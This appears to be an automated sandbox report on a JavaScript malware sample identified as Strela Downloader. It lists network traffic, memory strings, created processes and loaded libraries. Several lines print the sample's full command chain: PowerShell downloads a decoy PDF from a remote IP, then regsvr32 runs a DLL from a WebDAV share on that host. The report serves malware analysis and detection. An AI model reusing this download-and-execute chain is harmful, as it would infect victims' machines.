HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1458508520.0000018162A16000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1519770475.000001CD11913000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1519715719.000001CD118D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pacee
Source: svchost.exe, 00000009.00000002.2742274692.000002511388C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1528916918.0000025113670000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 3648, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23006907212084.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23006907212084.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 27344289642108220053.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@28/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6080:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0qvli2ro.lrr.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27344289642108220053.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23006907212084.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1560 --field-trial-handle=1528,i,3778512478076326924,10828754836765163400,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23006907212084.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1560 --field-trial-handle=1528,i,3778512478076326924,10828754836765163400,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
